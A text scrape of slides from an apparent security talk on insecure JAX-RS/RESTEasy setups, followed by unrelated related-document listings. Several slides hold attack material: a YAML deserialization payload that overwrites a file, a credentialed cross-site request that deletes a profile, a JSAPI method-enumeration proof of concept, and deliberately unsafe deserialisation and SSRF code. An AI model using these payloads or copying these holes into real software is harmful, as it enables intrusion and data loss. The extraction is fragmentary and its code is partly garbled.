2 / 99

Size: px
Start display at page:

Download "2 / 99"

Transcription

1

2 2 / 99

3 3 / 99

4 4 / 99

5 5 / 99

6 6 / 99

7

8 8 / public class DummyApp extends Application { }

9 public class DummyResource { 9 public Response queryparam(@queryparam("value") String public Response headerparam(@headerparam("x-echo") String public Response formparam(@formparam("value") String public Response entityparam(string param) {...} }

10 public class DummyResource { Relative URI path for resource 10 public Response queryparam(@queryparam("value") String public Response headerparam(@headerparam("x-echo") String public Response formparam(@formparam("value") String public Response entityparam(string param) {...} }

11 public class DummyResource { MIME media type 11 public Response queryparam(@queryparam("value") String public Response headerparam(@headerparam("x-echo") String public Response formparam(@formparam("value") String public Response entityparam(string param) {...} }

12 public class DummyResource { 12 public Response queryparam(@queryparam("value") String public Response headerparam(@headerparam("x-echo") String public Response formparam(@formparam("value") String public Response entityparam(string param) {...} Resource methods }

13 public class DummyResource HTTP method annotations: GET, POST, PUT, DELETE, public Response queryparam(@queryparam("value") String param) {...} 13 public Response headerparam(@headerparam("x-echo") String public Response formparam(@formparam("value") String public Response entityparam(string param) {...} }

14 public class DummyResource { 14 / Relative URI path for public Response queryparam(@queryparam("value") String public Response headerparam(@headerparam("x-echo") String public Response formparam(@formparam("value") String public Response entityparam(string param) {...} }

15 public class DummyResource { 15 / Is extracted from URI query parameter public Response queryparam(@queryparam("value") String param) Is extracted from X-Echo public Response headerparam(@headerparam("x-echo") String Is extracted from body parameter value public Response formparam(@formparam("value") String param) Entity parameter (w/o public Response entityparam(string param) {...} }

16 16 / 99

17 17 / 99

18 18 / 99

19 19 / 99

20

21 21 / 99

22 22 / 99

23 23 / 99

24 24 / 99

25 25 / 99

26 26 / 99

27 27 / 99

28 28 / 99

29 29 / 99

30 30 / 99

31 31 / 99 </web-app> <servlet> <servlet-name>resteasy JSAPI</servlet-name> <servlet-class>org.jboss.resteasy.jsapi.jsapiservlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>resteasy JSAPI</servlet-name> <url-pattern>/unsafe-jaxrs/resteasy/rest-js</url-pattern> </servlet-mapping> </web-app>

32 32 / 99

33 33 / 99 <script src=" type="text/javascript"></script> <script> var resmethods = Object.getOwnPropertyNames(PoC_resource); for (var i = 0; i < resmethods.length; i++) { try { PoC_resource[resMethods[i]].call(PoC_resource); } catch (err) { ; } } </script>

34 34 / public class PublicResource { public Response somemethod(@pathparam("name") String name) { return Response.status(200).entity("Public").build(); }

35 35 / public class PrivateResource { public Response String String id ) { return Response.status(200).entity("Private").build(); }

36 <?xml version="1.0" encoding="utf-8"?> <web-app> <security-constraint> <web-resource-collection> <web-resource-name>app</web-resource-name> <url-pattern>/rest/echo/*</url-pattern> </web-resource-collection> </security-constraint> <security-constraint> <web-resource-collection> <web-resource-name>app</web-resource-name> <url-pattern>/*</url-pattern> </web-resource-collection> <auth-constraint> <role-name>authorizeduser</role-name> </auth-constraint> </security-constraint> <login-config> <auth-method>basic</auth-method> <realm-name>the Restricted Zone</realm-name> </login-config> </web-app> 36 / 99

37 <?xml version="1.0" encoding="utf-8"?> <web-app> <security-constraint> <web-resource-collection> <web-resource-name>app</web-resource-name> <url-pattern>/rest/echo/*</url-pattern> </web-resource-collection> </security-constraint> <security-constraint> <web-resource-collection> <web-resource-name>app</web-resource-name> <url-pattern>/*</url-pattern> </web-resource-collection> <auth-constraint> <role-name>authorizeduser</role-name> </auth-constraint> </security-constraint> <login-config> <auth-method>basic</auth-method> <realm-name>the Restricted Zone</realm-name> </login-config> </web-app> Doesn t require auth Requires auth 37 / 99

38 38 / 99

39 39 / 99

40 40 / 99

41 41 / 99

42 42 / 99

43 43 / 99

44 44 / 99

45 45 / 99

46

47 47 @Consumes("*/*") public class SerializableProvider implements MessageBodyReader { public boolean isreadable(class<?> type, Type generictype, Annotation[] annotations, MediaType mediatype) { // Implementation } } public Serializable readfrom(class<serializable> type, Type generictype, Annotation[] annotations, MediaType mediatype, MultivaluedMap<String, String> httpheaders, InputStream entitystream) throws Exception { // Implementation }

48 48 / 99

49 49 / public class PoC_app extends ResourceConfig { public PoC_app() { } }

50 50 / 99

51 51 / 99

52 52 / 99

53 53 / 99

54 54 / 99

55 55 / 99

56 56 / 99 public boolean isreadable(class<?> type, Type generictype, Annotation[] annotations, MediaType mediatype) { return Serializable.class.isAssignableFrom(type) && APPLICATION_SERIALIZABLE_TYPE.getType().equals(mediaType.getType()) && APPLICATION_SERIALIZABLE_TYPE.getSubtype().equals(mediaType.getSubtype()); }

57 public Serializable readfrom(class<serializable> type, Type generictype, Annotation[] annotations, MediaType mediatype, MultivaluedMap<String, String> httpheaders, InputStream entitystream) throws Exception { BufferedInputStream bis = new BufferedInputStream(entityStream); ObjectInputStream ois = new ObjectInputStream(bis); try { return Serializable.class.cast(ois.readObject()); } catch (ClassNotFoundException e) { throw new WebApplicationException(e); } } 57 / 99

58 58 public Map<String, String> doconcat(pair pair) { HashMap<String, String> result = new HashMap<String, String>(); result.put("result", pair.getp1() + pair.getdelimiter() + pair.getp2()); } return result;

59 59 / 99 public class Pair implements Serializable { private static final long serialversionuid = 1L; private String P1; private String P2; }...

60 60 / 99

61 61 / 99

62 public boolean isreadable(class<?> type, Type generictype, Annotation[] annotations, MediaType mediatype) { return true; } 62 / 99

63 String yaml = "---!!java.io.fileoutputstream [/tmp/overwrite]"; Object o = new Yaml().load(yaml); 63 / 99

64 64 @Produces(MediaType.TEXT_PLAIN) public Response doconcat1( Pair p ) { return Response.status(200).entity(p.getP1() + p.getp2()).build(); } ---!!java.io.fileoutputstream [/tmp/overwrite]

65 65 @Produces(MediaType.TEXT_PLAIN) public Response doconcat2( ArrayList<Pair> p ) { } return Response.status(200).entity(p.get(0).getP1() + p.get(0).getp2()).build(); list: [!!java.io.fileoutputstream [/tmp/overwrite]]

66 66 / 99

67 67 / 99

68 public boolean isreadable(final Class<?> type, final Type generictype, final Annotation[] annotations, final MediaType mediatype) { return true; } 68 / 99

69 69 / 99

70 70 public Map<String, String> doconcat(pair pair) { HashMap<String, String> result = new HashMap<String, String>(); result.put("result", pair.getp1() + pair.getdelimiter() + pair.getp2()); } return result;

71 71 / 99

72 72 / 99

73 public boolean isreadable(class<?> type, Type generictype, Annotation[] annotations, MediaType mediatype) { return!string.class.equals(type) && TypeConverter.isConvertable(type); } 73 / 99

74 74 @Produces(MediaType.APPLICATION_JSON) public Response deleteprofile(profile profile) { String result = "{\"status\":\"" + profile.delete() + "\"}"; } return Response.status(200).entity(result).build();

75 75 / 99 public class Profile { private String DisplayName; private String ; private String uid; } public Profile() {} public Profile(String uid) { this.uid = uid; } public String delete() { // SOME LOGIC TO FIND PROFILE BY UID AND DELETE IT return "Deleted"; }

76 <script> var request = new XMLHttpRequest(); var data = '12345'; request.open('post', ' true); request.withcredentials = true; request.setrequestheader("content-type", "text/plain"); request.send(data); </script> 76 / 99

77 77 / 99

78 public boolean isreadable(class<?> type, Type generictype, Annotation[] annotations, MediaType mediatype) { return type.equals(map.class) && generictype!= null && generictype instanceof ParameterizedType; } 78 / 99

79 79 @Consumes(MediaType.MULTIPART_FORM_DATA) public Response domultipart(map<string,string[]> map) { } return Response.ok().build();

80 80 / 99

81

82 82 / 99

83 83 @Produces(MediaType.APPLICATION_JSON) public Response getfromremoteapp(@queryparam("url") String url) { Client client = ClientBuilder.newBuilder().build(); } WebTarget target = client.target(url); Response response = target.request().get(); ArrayList value = response.readentity(arraylist.class); response.close(); return Response.status(200).entity(value).build();

84 84 / 99

85 85 / 99

86

87 <context-param> <param-name>resteasy.async.job.service.enabled</param-name> <param-value>true</param-value> </context-param> 87 / 99

88 88 @Produces(MediaType.APPLICATION_JSON) public Profile doshowprofile() { } return new Profile();

89 89 / 99

90 <img src=" /> 90 / 99

91 91 / 99

92 String id = "" + System.currentTimeMillis() + "-" + counter.incrementandget(); 92 / 99

93 93 / 99

94

95 95 / 99

96 96 / 99

97 97 / 99

98 98 / 99

99

Web Service and JAX-RS. Sadegh Aliakbary

Web Service and JAX-RS. Sadegh Aliakbary Web Service and Sadegh Aliakbary Agenda What Are RESTful Web Services? Standard Restful Design and API Elements Building Simple Web-Services 2 Web Services: Definition (W3C) A Web service is: A software

More information

Session 12. RESTful Services. Lecture Objectives

Session 12. RESTful Services. Lecture Objectives Session 12 RESTful Services 1 Lecture Objectives Understand the fundamental concepts of Web services Become familiar with JAX-RS annotations Be able to build a simple Web service 2 10/21/2018 1 Reading

More information

Stefan Tilkov innoq Deutschland GmbH REST + JSR 311 Java API for RESTful Web Services

Stefan Tilkov innoq Deutschland GmbH REST + JSR 311 Java API for RESTful Web Services Stefan Tilkov innoq Deutschland GmbH stefan.tilkov@innoq.com REST + JSR 311 Java API for RESTful Web Services Contents An Introduction to REST Why REST Matters REST And Web Services JSR 311 Intro Demo

More information

SCA Java binding.rest

SCA Java binding.rest SCA Java binding.rest Introduction The Tuscany Java SCA runtime supports Representational State Transfer (REST) services invocations via the extension. Tuscany REST binding

More information

web.xml Deployment Descriptor Elements

web.xml Deployment Descriptor Elements APPENDIX A web.xml Deployment Descriptor s The following sections describe the deployment descriptor elements defined in the web.xml schema under the root element . With Java EE annotations, the

More information

REST & JSR 311. Stefan Tilkov, innoq Deutschland GmbH November 2008

REST & JSR 311. Stefan Tilkov, innoq Deutschland GmbH November 2008 REST & JSR 311 Stefan Tilkov, innoq Deutschland GmbH stefan.tilkov@innoq.com November 2008 1 Stefan Tilkov Geschäftsführer und Principal Consultant, innoq Deutschland GmbH Fokus auf SOA, Web-Services,

More information

JVA-563. Developing RESTful Services in Java

JVA-563. Developing RESTful Services in Java JVA-563. Developing RESTful Services in Java Version 2.0.1 This course shows experienced Java programmers how to build RESTful web services using the Java API for RESTful Web Services, or JAX-RS. We develop

More information

CSE 331. Memento Pattern and Serialization

CSE 331. Memento Pattern and Serialization CSE 331 Memento Pattern and Serialization slides created by Marty Stepp based on materials by M. Ernst, S. Reges, D. Notkin, R. Mercer, Wikipedia http://www.cs.washington.edu/331/ 1 Pattern: Memento a

More information

Developing RESTful Web services with JAX-RS. Sabyasachi Ghosh, Senior Application Engneer Oracle

Developing RESTful Web services with JAX-RS. Sabyasachi Ghosh, Senior Application Engneer Oracle Developing RESTful Web services with JAX-RS Sabyasachi Ghosh, Senior Application Engneer Oracle India, @neilghosh Java API for RESTful Web Services (JAX-RS) Standard annotation-driven API that aims to

More information

Copyright 2012, Oracle and/or its affiliates. All rights reserved.

Copyright 2012, Oracle and/or its affiliates. All rights reserved. 1 JAX-RS-ME Michael Lagally Principal Member of Technical Staff, Oracle 2 CON4244 JAX-RS-ME JAX-RS-ME: A new API for RESTful web clients on JavaME This session presents the JAX-RS-ME API that was developed

More information

The jpos REST tutorial shows you how to use an out-of-the-box binary distribution of jpos to build a REST server that responds to an /echo call.

The jpos REST tutorial shows you how to use an out-of-the-box binary distribution of jpos to build a REST server that responds to an /echo call. REST tutorial Table of Contents Create a project............................................................................. 2 Test run....................................................................................

More information

Developing Applications for the Java EE 7 Platform 9-2

Developing Applications for the Java EE 7 Platform 9-2 Developing Applications for the Java EE 7 Platform 9-2 REST is centered around an abstraction known as a "resource." Any named piece of information can be a resource. A resource is identified by a uniform

More information

JAX-RS: REST, the Java Way. Stefan Tilkov,

JAX-RS: REST, the Java Way. Stefan Tilkov, JAX-RS: REST, the Java Way Stefan Tilkov, stefan.tilkov@innoq.com 1 Contents An Introduction to REST Why REST Matters JSR 311 Overview Demo What s Next 2 Stefan Tilkov stefan.tilkov@innoq.com http://www.innoq.com/blog/st/

More information

Session 15. RESTful Services Part 3. Lecture Objectives

Session 15. RESTful Services Part 3. Lecture Objectives Session 15 RESTful Services Part 3 1 Lecture Objectives Understand how to pass parameters from the URL to a Web service Understand how to return values from a Web service using the @Produces annotation

More information

Introduc)on to JAX- RS 3/14/12

Introduc)on to JAX- RS 3/14/12 JAX-RS: The Java API for RESTful Web Services Asst. Prof. Dr. Kanda Runapongsa Saikaew (krunapon@kku.ac.th) Mr.Pongsakorn Poosankam (pongsakorn@gmail.com) 1 q Goals of JAX-RS q Creating resources q HTTP

More information

Aim behind client server architecture Characteristics of client and server Types of architectures

Aim behind client server architecture Characteristics of client and server Types of architectures QA Automation - API Automation - All in one course Course Summary: In detailed, easy, step by step, real time, practical and well organized Course Not required to have any prior programming knowledge,

More information

CHAPTER 4 ENTITIES AND COMPLEX CONTENT

CHAPTER 4 ENTITIES AND COMPLEX CONTENT CHAPTER 4 ENTITIES AND COMPLEX CONTENT OBJECTIVES After completing Entities and Complex Content, you will be able to: Explain the use of certain built-in message converters for processing of HTTP entity

More information

Accessing the Progress OpenEdge AppServer. From Progress Rollbase. Using Object Script

Accessing the Progress OpenEdge AppServer. From Progress Rollbase. Using Object Script Accessing the Progress OpenEdge AppServer From Progress Rollbase Using Object Script Introduction Progress Rollbase provides a simple way to create a web-based, multi-tenanted and customizable application

More information

Configuring a basic authentication in WebSEAL to access SmartCloud Control Desk

Configuring a basic authentication in WebSEAL to access SmartCloud Control Desk Configuring a basic authentication in WebSEAL to access SmartCloud Control Desk IBM Tivoli Access Manager WebSEAL is a resource manager responsible for protecting web-based resources. It is a high-performance

More information

Rest Client for MicroProfile. John D. Ament

Rest Client for MicroProfile. John D. Ament Rest Client for MicroProfile John D. Ament 1.0-T9, December 05, 2017 Table of Contents Microprofile Rest Client..................................................................... 2 MicroProfile Rest

More information

Rest Client for MicroProfile. John D. Ament, Andy McCright

Rest Client for MicroProfile. John D. Ament, Andy McCright Rest Client for MicroProfile John D. Ament, Andy McCright 1.0, December 19, 2017 Table of Contents Microprofile Rest Client..................................................................... 2 MicroProfile

More information

Developing a Web Server Platform with SAPI support for AJAX RPC using JSON

Developing a Web Server Platform with SAPI support for AJAX RPC using JSON 94 Developing a Web Server Platform with SAPI support for AJAX RPC using JSON Assist. Iulian ILIE-NEMEDI Informatics in Economy Department, Academy of Economic Studies, Bucharest Writing a custom web server

More information

JavaScript CoAPRequest API

JavaScript CoAPRequest API JavaScript CoAPRequest API Abstract The CoAPRequest specification defines an API that provides scripted client functionality for transferring data between a CoAP client and a CoAP server. Table of Contents

More information

Complete Java Contents

Complete Java Contents Complete Java Contents Duration: 60 Hours (2.5 Months) Core Java (Duration: 25 Hours (1 Month)) Java Introduction Java Versions Java Features Downloading and Installing Java Setup Java Environment Developing

More information

Session 9. Introduction to Servlets. Lecture Objectives

Session 9. Introduction to Servlets. Lecture Objectives Session 9 Introduction to Servlets Lecture Objectives Understand the foundations for client/server Web interactions Understand the servlet life cycle 2 10/11/2018 1 Reading & Reference Reading Use the

More information

HappyFox API Technical Reference

HappyFox API Technical Reference HappyFox API Technical Reference API Version 1.0 Document Version 0.1 2011, Tenmiles Corporation Copyright Information Under the copyright laws, this manual may not be copied, in whole or in part. Your

More information

JAX-WS 2.2 and JAX-RS 1.1 support in WebSphere Application Server Version 8.0 Beta

JAX-WS 2.2 and JAX-RS 1.1 support in WebSphere Application Server Version 8.0 Beta Katherine Sanders Staff Software Engineer, WebSphere Application Server Web Services QoS Team, IBM Hursley 23 March 2011 JAX-WS 2.2 and JAX-RS 1.1 support in WebSphere Application Server Version 8.0 Beta

More information

Web Applications and Database Connectivity using JDBC (Part II)

Web Applications and Database Connectivity using JDBC (Part II) Web Applications and Database Connectivity using JDBC (Part II) Advanced Topics in Java Khalid Azim Mughal khalid@ii.uib.no http://www.ii.uib.no/~khalid/atij/ Version date: 2007-02-08 ATIJ Web Applications

More information

2 Apache Wink Building Blocks

2 Apache Wink Building Blocks 2 Apache Wink Building Blocks Apache Wink Building Block Basics In order to take full advantage of Apache Wink, a basic understanding of the building blocks that comprise it and their functional integration

More information

5.1 Registration and Configuration

5.1 Registration and Configuration 5.1 Registration and Configuration Registration and Configuration Apache Wink provides several methods for registering resources and providers. This chapter describes registration methods and Wink configuration

More information

JSP. Common patterns

JSP. Common patterns JSP Common patterns Common JSP patterns Page-centric (client-server) CLIENT JSP or Servlet CLIENT Enterprise JavaBeans SERVER DB Common JSP patterns Page-centric 1 (client-server) Page View request response

More information

Practice 2. SOAP & REST

Practice 2. SOAP & REST Enterprise System Integration Practice 2. SOAP & REST Prerequisites Practice 1. MySQL and JPA Introduction JAX-WS stands for Java API for XML Web Services. JAX-WS is a technology for building web services

More information

What is Serialization?

What is Serialization? Serialization 1 Topics What is Serialization? What is preserved when an object is serialized? Transient keyword Process of serialization Process of deserialization Version control Changing the default

More information

Lecture 4: Security and Access Control

Lecture 4: Security and Access Control Lecture 4: Security and Access Control TIES4560 SOA and Cloud Computing Autumn 2018 University of Jyväskylä Khriyenko Oleksiy Message Body Writer is used to convert various objects to correspondent type

More information

Chapter 1 - Consuming REST Web Services in Angular

Chapter 1 - Consuming REST Web Services in Angular Chapter 1 - Consuming REST Web Services in Angular Objectives Key objectives of this chapter REST Overview Common Angular tasks for REST communication Using Angular to send various HTTP requests 1.1 REST

More information

Neat tricks to bypass CSRF-protection. Mikhail

Neat tricks to bypass CSRF-protection. Mikhail Neat tricks to bypass CSRF-protection Mikhail Egorov @0ang3el About me AppSec Engineer @ Ingram Micro Cloud Bug hunter & Security researcher Conference speaker https://www.slideshare.net/0ang3el @0ang3el

More information

Web Security: Vulnerabilities & Attacks

Web Security: Vulnerabilities & Attacks Computer Security Course. Song Dawn Web Security: Vulnerabilities & Attacks Cross-site Scripting What is Cross-site Scripting (XSS)? Vulnerability in web application that enables attackers to inject client-side

More information

Session 11. Calling Servlets from Ajax. Lecture Objectives. Understand servlet response formats

Session 11. Calling Servlets from Ajax. Lecture Objectives. Understand servlet response formats Session 11 Calling Servlets from Ajax 1 Lecture Objectives Understand servlet response formats Text Xml Html JSON Understand how to extract data from the XMLHttpRequest object Understand the cross domain

More information

Discovery data feed for Eid 2.0

Discovery data feed for Eid 2.0 Discovery data feed for Eid 2.0 Proposal for a generic discovery solution for Eid 2.0 Stefan Santesson, 3xA Security AB 2011-09- 10 Summary E- legitimationsnämnden in Sweden are preparing for a new infrastructure

More information

02267: Software Development of Web Services

02267: Software Development of Web Services 02267: Software Development of Web Services Week 8 Hubert Baumeister huba@dtu.dk Department of Applied Mathematics and Computer Science Technical University of Denmark Fall 2016 1 Recap Midtterm Evaluation

More information

HL7 FHIR Data Consolidation Tool

HL7 FHIR Data Consolidation Tool WHITE PAPER HL7 FHIR Data Consolidation Tool What is HL7 FHIR? HL7 FHIR or FHIR (Fast Healthcare Interoperability Resources pronounced as "Fire") is a part of the Medical Healthcare information ecosystem

More information

Integrate JPEGCAM with WaveMaker

Integrate JPEGCAM with WaveMaker Integrate JPEGCAM with WaveMaker 1.Start a new project on wavemaker or use your current project 2.On Main page or desired page add a panel widget and put name panelholder 3.Create a wm.variable called

More information

Apache Wink Developer Guide. Draft Version. (This document is still under construction)

Apache Wink Developer Guide. Draft Version. (This document is still under construction) Apache Wink Developer Guide Software Version: 1.0 Draft Version (This document is still under construction) Document Release Date: [August 2009] Software Release Date: [August 2009] Apache Wink Developer

More information

Kamnoetvidya Science Academy. Object Oriented Programming using Java. Ferdin Joe John Joseph. Java Session

Kamnoetvidya Science Academy. Object Oriented Programming using Java. Ferdin Joe John Joseph. Java Session Kamnoetvidya Science Academy Object Oriented Programming using Java Ferdin Joe John Joseph Java Session Create the files as required in the below code and try using sessions in java servlets web.xml

More information

f5-icontrol-rest Documentation

f5-icontrol-rest Documentation f5-icontrol-rest Documentation Release 1.3.10 F5 Networks Aug 04, 2018 Contents 1 Overview 1 2 Installation 3 2.1 Using Pip................................................. 3 2.2 GitHub..................................................

More information

Session 8. Reading and Reference. en.wikipedia.org/wiki/list_of_http_headers. en.wikipedia.org/wiki/http_status_codes

Session 8. Reading and Reference. en.wikipedia.org/wiki/list_of_http_headers. en.wikipedia.org/wiki/http_status_codes Session 8 Deployment Descriptor 1 Reading Reading and Reference en.wikipedia.org/wiki/http Reference http headers en.wikipedia.org/wiki/list_of_http_headers http status codes en.wikipedia.org/wiki/_status_codes

More information

Servlets. How to use Apache FOP in a Servlet $Revision: $ Table of contents

Servlets. How to use Apache FOP in a Servlet $Revision: $ Table of contents How to use Apache FOP in a Servlet $Revision: 505235 $ Table of contents 1 Overview...2 2 Example Servlets in the FOP distribution...2 3 Create your own Servlet...2 3.1 A minimal Servlet...2 3.2 Adding

More information

Rest Client for MicroProfile. John D. Ament, Andy McCright

Rest Client for MicroProfile. John D. Ament, Andy McCright Rest Client for MicroProfile John D. Ament, Andy McCright 1.2-m2, December 10, 2018 Table of Contents Microprofile Rest Client..................................................................... 2 MicroProfile

More information

An Introduction to AJAX. By : I. Moamin Abughazaleh

An Introduction to AJAX. By : I. Moamin Abughazaleh An Introduction to AJAX By : I. Moamin Abughazaleh How HTTP works? Page 2 / 25 Classical HTTP Process Page 3 / 25 1. The visitor requests a page 2. The server send the entire HTML, CSS and Javascript code

More information

Using Microsoft Azure Active Directory MFA as SAML IdP with Pulse Connect Secure. Deployment Guide

Using Microsoft Azure Active Directory MFA as SAML IdP with Pulse Connect Secure. Deployment Guide Using Microsoft Azure Active Directory MFA as SAML IdP with Pulse Connect Secure Deployment Guide v1.0 May 2018 Introduction This document describes how to set up Pulse Connect Secure for SP-initiated

More information

JAX-RS 2.1 Reloaded. Santiago Pericas-Geertsen JAX-RS Co-Spec Lead. #jax-rs

JAX-RS 2.1 Reloaded. Santiago Pericas-Geertsen JAX-RS Co-Spec Lead. #jax-rs JAX-RS 2.1 Reloaded Santiago Pericas-Geertsen JAX-RS Co-Spec Lead #jax-rs @spericas Agenda Reactive Extensions Server-Sent Events Non-Blocking IO #jax-rs @spericas Reactive Extensions #jax-rs @spericas

More information

HP ArcSight ESM: Service Layer

HP ArcSight ESM: Service Layer HP ArcSight ESM: Service Layer Software Version: 1.0 Developer's Guide February 16, 2016 Legal Notices Warranty The only warranties for HP products and services are set forth in the express warranty statements

More information

Interview Questions I received in 2017 and 2018

Interview Questions I received in 2017 and 2018 Interview Questions I received in 2017 and 2018 Table of Contents INTERVIEW QUESTIONS I RECEIVED IN 2017 AND 2018... 1 1 OOPS... 3 1. What is the difference between Abstract and Interface in Java8?...

More information

Sophos Mobile Control Network Access Control interface guide

Sophos Mobile Control Network Access Control interface guide Sophos Mobile Control Network Access Control interface guide Product version: 5.1 Document date: July 2015 Contents 1 About Sophos Mobile Control... 3 2 About Network Access Control integration... 4 3

More information

Application Servers - BEA WebLogic Advanced IBM Cognos Application Configuration

Application Servers - BEA WebLogic Advanced IBM Cognos Application Configuration Proven Practice Application Servers - BEA WebLogic Advanced IBM Cognos Application Configuration Product(s): IBM Cognos 8.3, BEA WebLogic Area of Interest: Infrastructure DOC ID: AS16 Version 8.3.0.0 BEA

More information

How to work with HTTP requests and responses

How to work with HTTP requests and responses How a web server processes static web pages Chapter 18 How to work with HTTP requests and responses How a web server processes dynamic web pages Slide 1 Slide 2 The components of a servlet/jsp application

More information

The propeties file will contain a main.class property, maybe an optional main.method property, and a set of description properties.

The propeties file will contain a main.class property, maybe an optional main.method property, and a set of description properties. Executables This doc describes the design-in-progress for revamping the command-line execution of openejb. Basic ideas: Commands can be added/removed (start, stop, test, validate, deploy) Adding/removing

More information

Programming with the SCA BB Service Configuration API

Programming with the SCA BB Service Configuration API CHAPTER 3 Programming with the SCA BB Service Configuration API Published: December 23, 2013, Introduction This chapter is a reference for the main classes and methods of the Cisco SCA BB Service Configuration

More information

Programming with the SCA BB Service Configuration API

Programming with the SCA BB Service Configuration API CHAPTER 3 Programming with the SCA BB Service Configuration API Revised: September 17, 2012, Introduction This chapter is a reference for the main classes and methods of the Cisco SCA BB Service Configuration

More information

RESTful -Webservices

RESTful -Webservices International Journal of Scientific Research in Computer Science, Engineering and Information Technology RESTful -Webservices Lalit Kumar 1, Dr. R. Chinnaiyan 2 2018 IJSRCSEIT Volume 3 Issue 4 ISSN : 2456-3307

More information

Maximo JSON API- How To

Maximo JSON API- How To Maximo JSON API- How To V1 - Updated: 03/02/2016 V2 - Updated: 03/10/2016 V3 - Updated: 03/21/2016 Contents Introduction... 2 How do I filter data from a collection?... 2 How to just get a count of records

More information

Previous to Chapter 7 Files

Previous to Chapter 7 Files Previous to Chapter 7 Files Recall Scanner from Part I notes. A scanner object can reference a text file Scanner f = new Scanner(new File("file name goes here")); Scanner methods can be applied to reading

More information

Less Known Web Application Vulnerabilities

Less Known Web Application Vulnerabilities Less Known Web Application Vulnerabilities Ionut Popescu Senior Application Security Engineer 1&1 Internet Development Romania About me Ionut Popescu Senior Application Security Engineer @ 1&1 Internet

More information

Page 1

Page 1 Java 1. Core java a. Core Java Programming Introduction of Java Introduction to Java; features of Java Comparison with C and C++ Download and install JDK/JRE (Environment variables set up) The JDK Directory

More information

Keep Learning with Oracle University

Keep Learning with Oracle University Keep Learning with Oracle University Classroom Training Learning Subscription Live Virtual Class Training On Demand Cloud Technology Applications Industries education.oracle.com 3 Session Surveys Help

More information

Programming with the SCA BB Service Configuration API

Programming with the SCA BB Service Configuration API CHAPTER 3 Programming with the SCA BB Service Configuration API Revised: November 8, 2010, Introduction This chapter is a reference for the main classes and methods of the Cisco SCA BB Service Configuration

More information

PHP: Hypertext Preprocessor. A tutorial Introduction

PHP: Hypertext Preprocessor. A tutorial Introduction PHP: Hypertext Preprocessor A tutorial Introduction Introduction PHP is a server side scripting language Primarily used for generating dynamic web pages and providing rich web services PHP5 is also evolving

More information

Courtesy of Togglz, this integration has an embedded console and has support for integration testing through a custom JUnit rule.

Courtesy of Togglz, this integration has an embedded console and has support for integration testing through a custom JUnit rule. Togglz Extension Table of Contents Screenshots................................................................................ 2 Login as administrator....................................................................

More information

Ehcache Web Cache User Guide

Ehcache Web Cache User Guide Ehcache Web Cache User Guide Innovation Release Version 2.10.4 April 2017 This document applies to Ehcache Version 2.10.4 and to all subsequent releases. Specifications contained herein are subject to

More information

Building Layers of Defense with Spring Security. We have to distrust each other. It is our only defense against betrayal. Tennessee Williams

Building Layers of Defense with Spring Security. We have to distrust each other. It is our only defense against betrayal. Tennessee Williams Building Layers of Defense with Spring Security We have to distrust each other. It is our only defense against betrayal. Tennessee Williams About Me u Joris Kuipers ( @jkuipers) u Hands-on architect and

More information

NoSQL & Firebase. SWE 432, Fall Web Application Development

NoSQL & Firebase. SWE 432, Fall Web Application Development NoSQL & Firebase SWE 432, Fall 2018 Web Application Development Review: Nouns vs. Verbs URIs should hierarchically identify nouns describing resources that exist Verbs describing actions that can be taken

More information

Advanced Java Programming

Advanced Java Programming Advanced Java Programming Length: 4 days Description: This course presents several advanced topics of the Java programming language, including Servlets, Object Serialization and Enterprise JavaBeans. In

More information

AJAX ASYNCHRONOUS JAVASCRIPT AND XML. Laura Farinetti - DAUIN

AJAX ASYNCHRONOUS JAVASCRIPT AND XML. Laura Farinetti - DAUIN AJAX ASYNCHRONOUS JAVASCRIPT AND XML Laura Farinetti - DAUIN Rich-client asynchronous transactions In 2005, Jesse James Garrett wrote an online article titled Ajax: A New Approach to Web Applications (www.adaptivepath.com/ideas/essays/archives/000

More information

12% of course grade. CSCI 201L Final - Written Fall /7

12% of course grade. CSCI 201L Final - Written Fall /7 12% of course grade 1. Interfaces and Inheritance Does the following code compile? If so, what is the output? If not, why not? Explain your answer. (1.5%) interface I2 { public void meth1(); interface

More information

Session 8. Introduction to Servlets. Semester Project

Session 8. Introduction to Servlets. Semester Project Session 8 Introduction to Servlets 1 Semester Project Reverse engineer a version of the Oracle site You will be validating form fields with Ajax calls to a server You will use multiple formats for the

More information

Rest Client for MicroProfile. John D. Ament, Andy McCright

Rest Client for MicroProfile. John D. Ament, Andy McCright Rest Client for MicroProfile John D. Ament, Andy McCright 1.1, May 18, 2018 Table of Contents Microprofile Rest Client..................................................................... 2 MicroProfile

More information

CUCM 12.X Extension Mobility(EM) and Extension Mobility Cross Cluster(EMCC) Log in service URL

CUCM 12.X Extension Mobility(EM) and Extension Mobility Cross Cluster(EMCC) Log in service URL CUCM 12.X Extension Mobility(EM) and Extension Mobility Cross Cluster(EMCC) Log in service URL Contents Introduction Prerequisites Requirements Components Used Configure Network Diagram Configurations

More information

RKN 2015 Application Layer Short Summary

RKN 2015 Application Layer Short Summary RKN 2015 Application Layer Short Summary HTTP standard version now: 1.1 (former 1.0 HTTP /2.0 in draft form, already used HTTP Requests Headers and body counterpart: answer Safe methods (requests): GET,

More information

Enterprise Development

Enterprise Development Enterprise Development with What needs to be done to run JEE like applications inside Karaf? @anierbeck - Karaf PMC, Apache Member - OPS4j Pax Web Project Lead - Senior IT Consultant @codecentric - co-author

More information

A Gentle Introduction to Java Server Pages

A Gentle Introduction to Java Server Pages A Gentle Introduction to Java Server Pages John Selmys Seneca College July 2010 What is JSP? Tool for developing dynamic web pages developed by SUN (now Oracle) High-level abstraction of Java Servlets

More information

Postman User Guide. Document Reference: July Version: 2

Postman User Guide. Document Reference: July Version: 2 Postman User Guide Document Reference: 8314 July 2017 Version: 2 Version Number Date Author Changes 1 Sep 2015 Sam Smith 2 Jul 2017 Sam Smith Branding updated Page 1 Contents 1 Introduction... 3 2 Downloading...

More information

Security Guide. Configuration of Permissions

Security Guide. Configuration of Permissions Guide Configuration of Permissions 1 Content... 2 2 Concepts of the Report Permissions... 3 2.1 Security Mechanisms... 3 2.1.1 Report Locations... 3 2.1.2 Report Permissions... 3 2.2 System Requirements...

More information

Setting up your own Repository

Setting up your own Repository Setting up your own Repository In order to set up your own EPCIS repository, follow the step-by-step tutorial outlined below: Make sure you have have an Apache Tomcat servlet container (version 5.5 or

More information

Simple REST-APIs with Dropwizard and Swagger. Bernd Schönbach LeanIX GmbH

Simple REST-APIs with Dropwizard and Swagger. Bernd Schönbach LeanIX GmbH Simple REST-APIs with Dropwizard and Swagger Bernd Schönbach LeanIX GmbH Motivation Quickly create REST-APIs Make it testable Deploy with a click Or even better automatically Provide Documentation without

